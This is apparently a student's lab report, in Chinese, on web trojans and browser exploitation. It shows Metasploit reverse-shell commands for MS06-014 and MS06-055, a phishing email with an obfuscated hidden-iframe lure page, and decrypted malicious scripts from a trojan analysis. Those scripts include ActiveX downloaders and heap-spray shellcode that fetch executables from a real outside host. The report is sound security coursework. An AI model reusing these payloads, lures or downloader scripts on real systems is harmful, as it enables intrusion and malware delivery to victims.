ricky1014

博客园 首页 新随笔 联系 订阅 管理

一、核心知识点梳理

1.网页木马

网页木马依托恶意网页载体实现入侵,多嵌入正常站点页面代码内,常见挂载于被入侵的正规网站、仿冒钓鱼页面。其首先利用浏览器插件、系统组件、网页脚本等已知漏洞,通过静默加载恶意执行代码;用户访问网页时无需额外点击,漏洞触发后后台自动下载服务端木马程序。下载落地的恶意程序会完成权限窃取、隐私采集、远程控制等行为,部分变种捆绑远控后门,可盗取账号密码、本地文件,或是植入挖矿、勒索类恶意载荷。

2. MD5 散列

MD5 可将任意长度的输入数据,固定转换为 128 位的十六进制哈希值。该算法运算效率高,早期普遍用于文件完整性校验、口令存储、数据签名等场景,通过比对原始文件与接收文件的 MD5 值,就能快速判断内容是否被篡改。

3.挂马链接

挂马链接是是指向植入了网页木马的网络链接,形式可分为显性链接、隐藏跳转链接两类,常依附在网页、社交消息、邮件、广告弹窗等渠道进行分发。这类链接大多利用域名伪装、短链接压缩、页面嵌套等方式掩盖真实恶意地址,当用户点击或浏览器自动加载该链接指向的页面时,页面内嵌入的脚本、框架代码会主动探测客户端系统、浏览器及各类插件的安全漏洞,一旦发现可利用漏洞,便会静默下载并执行后门、木马、远控程序等恶意文件。

二、实践步骤与过程

(1)web浏览器渗透攻击:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

  • 修改win2k的主机名为lrq2903,重启虚拟机后生效
    image
  • 输入sudo msfconsole启动 Metasploit
    image
  • 输入search MS06-014搜索 MS06-014 对应的漏洞模块:
    image
  • 输入use exploit/windows/browser/ie_createobject加载对应模块
    image
  • 输入show payloads查看可用攻击载荷
    image

②选择PAYLOAD为任意远程Shell连接

  • 输入set payload windows/shell_reverse_tcp选择PAYLOAD为反向远程Shell连接
    image

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

  • 输入set LHOST 192.168.180.64配置攻击机 IP 地址
    image
  • 输入exploit,发现 Metasploit 生成好了恶意 URLhttp://192.168.180.64:8080/QyP425gcuS2e3
    image

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

  • 测试win2k(192.168.180.66)和kali(192.168.180.64)之间的连通性,发现两者之间均是连通的
    image
    image
  • 在win2k中启动浏览器,访问网页木马脚本URL,显示的是一串乱符
    image

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

  • 查看kali发现Metasploit 成功接收到了来自靶机 192.168.180.66 的反向连接,建立了 Command shell session 1
    image
  • 输入sessions -i 1进入远程 Shell 会话
    image
  • 利用远程控制会话SESSION在靶机上远程执行ipconfig,显示的结果可以证实渗透成功
    image

(2)网页木马攻击场景分析 实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址

  • 用记事本打开start2903.html,
    image
  • 查找 new09.htm,发现指向new09.htm的内联框架
    image
    ②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
    http://192.168.68.253/scom/hashed/
  • 由于没有完整的文件,无法按源路径打开new09.htm,参考学习通配套文件相关代码如下:
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
  • 使用在线 MD5 哈希值计算工具,http://js.users.51.la/1299644.jshttp://aa.18dd.net/aa/kl.htm网络地址的哈希运算后得到对应的 MD5 值依次为:7f60672dcd6b5e90b6772545ee219bd3、23180a42a2ff1192150231b44ffdf3d3
    image
    ③如果解密出的地址给出的是网页或脚本文件,请继续解密。
  • 打开 7f60672dcd6b5e90b6772545ee219bd3 文件
    image
  • 找到代码里的密钥部分
    t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
    image
  • 将十六进制\x73\x63\x72\x69\x70\x74转为字符串,得到密钥为script
    image
  • 使用 XXTEA 在线解密工具,把文本内容全部复制,作为密文,解密密钥填写script,选择脚本解密,解密得到十六进制代码
    image
  • 将十六进制代码转为如下字符串形式
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}

image

  • 解密http://aa.18dd.net/aa/1.js,其对应MD5值为5d7e9058a857aa2abee820d5473c5fa4,打开对应文件,转为字符串
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

image
image

目的是从http://down.18dd.net/bb/014.exe 远程下载木马程序 014.exe
  • 解密http://aa.18dd.net/aa/b.js,其对应MD5值为3870c28cc279d457746b3796a262f166,打开对应文件,在文件中注意到p,a,c,k,e,d,推测加密方式为packed加密
    image
  • 使用解密工具解密,得到如下代码,查询资料后得知这段代码是通过利用暴风影音 ActiveX 控件漏洞来执行内置的 ShellCode 实现远程下载木马程序
var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer
![image](https://img2024.cnblogs.com/blog/3777943/202606/3777943-20260615191341531-83731713.png)
  • 解密http://aa.18dd.net/aa/pps.js,其对应MD5值为5F0B8BF0385314DBE0E5EC95E6ABEDC2,打开对应文件
    image
    image
  • 注意到这里是八进制加密,将其转为字符串
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
![image](https://img2024.cnblogs.com/blog/3777943/202606/3777943-20260615192030017-724977907.png)
这段代码先创建漏洞控件对象,载入shellcode,再通过堆喷射布置内存环境,最后向存在缓冲区漏洞的控件属性写入超长数据,触发内存溢出劫持程序执行流,最终拉取并运行远程恶意脚本,植入木马

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

  • 使用反汇编工具IDA打开bd.exe
    image
  • 打开string窗口,发现20个指向http://down.18dd.net/kl/的地址列表,说明bd.exe是典型的下载者木马
    image
    ⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防:

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

  • Kali的IP地址为192.168.180.64,Win2kServer的IP地址为192.168.180.66,并测试连通性
    image
    image
    image
  • 运行 MS06-014 漏洞,运行后得到http://192.168.180.64:8082/ms06014
msfconsole
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.180.64
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options
run -j

image

  • 运行 MS06-055 漏洞,运行后得到http://192.168.180.64:8081/ms06055
msfconsole
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.180.64
set LPORT 4455
set ExitOnSession false
set VERBOSE true
show options
run -j

image

  • 将两个漏洞的URL地址用十六进制来表示,
    MS06-055:687474703a2f2f3139322e3136382e3138302e36343a383038312f6d733036303535
    MS06-014:687474703a2f2f3139322e3136382e3138302e36343a383038322f6d733036303134
  • 输入mkdir -p /var/www/html/2903index,创建目录,再输入vim /var/www/html/2903index/index.html, 编辑文件夹里的网页钓鱼界面文件,木马网页的URL是http://192.168.180.64/2903index/index.html
    欺骗邮件内容如下:
主题:浏览器最新安全补丁
同学你好:这是课程为浏览器最新安全补丁,请访问下方测试页面,下载有关补丁:http://192.168.180.64/2903index/index.html
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>

<script>
// 十六进制转字符串
function hex2str(hex) {
    var str = "";
    hex = hex.replace(/\s+/g, "");
    for (var i = 0; i < hex.length; i += 2) {
        str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
    }
    return str;
}

// 使用 document.write 兼容 Win2000 / IE6
function loadWithWrite(url) {
    document.write('<iframe src="' + url + '" width=1 height=1 style="display:none"></iframe>');
}

var url1 = "687474703A2F2F3139322E3136382E34332E3234303A383038312F6D733036303535";
var url2 = "687474703A2F2F3139322E3136382E3138302E36343A383038312F6D733036303535";

// 一次性加载两个,避免第一个崩溃导致第二个不执行
window.onload = function () {
    loadWithWrite(hex2str(url1));
    loadWithWrite(hex2str(url2));
};
</script>
</body>
</html>
  • 打开新终端输入sudo systemctl start apache2启动 Apache 网页服务,输入指令sudo systemctl status apache2查看 Apache 网页服务状态
    image
  • 使用 win2k 访问这个 URL,浏览器卡顿并退出
    image
  • 输入sessions -l查看建立的会话发现只有1个
    image

结合浏览器卡顿并退出的现象,查询漏洞没有同时触发的原因,较为可靠的原因是版本较落后的单线程IE浏览器无法同时承担两个破坏漏洞,导致进程阻塞,因此只有一个会话被建立

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 打开 wireshark 查看通信流
    image
  • 防守方从流量中提取两段挂马相关链接:诱饵页http://192.168.180.64/2903index/index.html、漏洞资源地址http://192.168.180.64:8081/ms06055,过滤 ARP、DNS、DHCP 等无关流量后梳理访问时序完成链接解混淆,还原客户端访问诱饵页后自动请求漏洞资源的跳转逻辑;对服务器返回的 200 OK HTML 载荷做代码还原,结合请求头 UA 字段MSIE 5.01; Windows NT 5.0与路径名ms06055判定,该渗透代码针对 IE5.01 浏览器,利用 MS06-055 WMF 解析远程代码执行漏洞
    image

三、学习中遇到的问题

1.资料中提供的压缩包解压后找不到对应的可执行文件

解决方法:怀疑是电脑自动删除了危险文件,把压缩包传到 WinXP 中操作,就正常显示全部文件了

image
image

四、学习感想和体会

通过本次网页挂马与浏览器渗透攻防实验,我亲手实操了漏洞利用、木马解密、攻防对抗的完整流程,对网页攻击的原理和危害有了直观且深刻的认知,也切实体会到网络安全攻防的专业性与严谨性。本次实验围绕IE浏览器漏洞开展,我借助Metasploit工具搭建攻击环境,利用MS06-014、MS06-055漏洞构造恶意挂马链接,通过代码混淆、网页嵌套的方式制作钓鱼页面,成功实现了对Windows靶机的渗透控制。在木马分析环节,我通过MD5哈希校验、八进制解码、XXTEA解密等方式,逐层破解恶意脚本代码,清晰了解到网页木马的攻击逻辑。
实操过程中我也遇到了不少问题,起初解压恶意文件后无法找到程序文件,排查后发现是本地设备安全机制自动拦截删除了高危文件,将文件迁移至靶机环境后才顺利完成后续调试。同时实验中双漏洞无法同时触发的现象,也让我明白网络攻防需要结合设备环境、系统版本灵活分析,不能机械套用操作步骤。
此次实验让我深刻意识到,网页挂马攻击大多依托普通网页、伪装安全链接,极具迷惑性。作为网络安全学习者,我将继续学习基础的渗透与木马分析技能,树立更严谨的安全思维,提升自身的网络防护与应急处置能力。

posted on 2026-06-17 22:25  20252903  阅读(6)  评论(0)    收藏  举报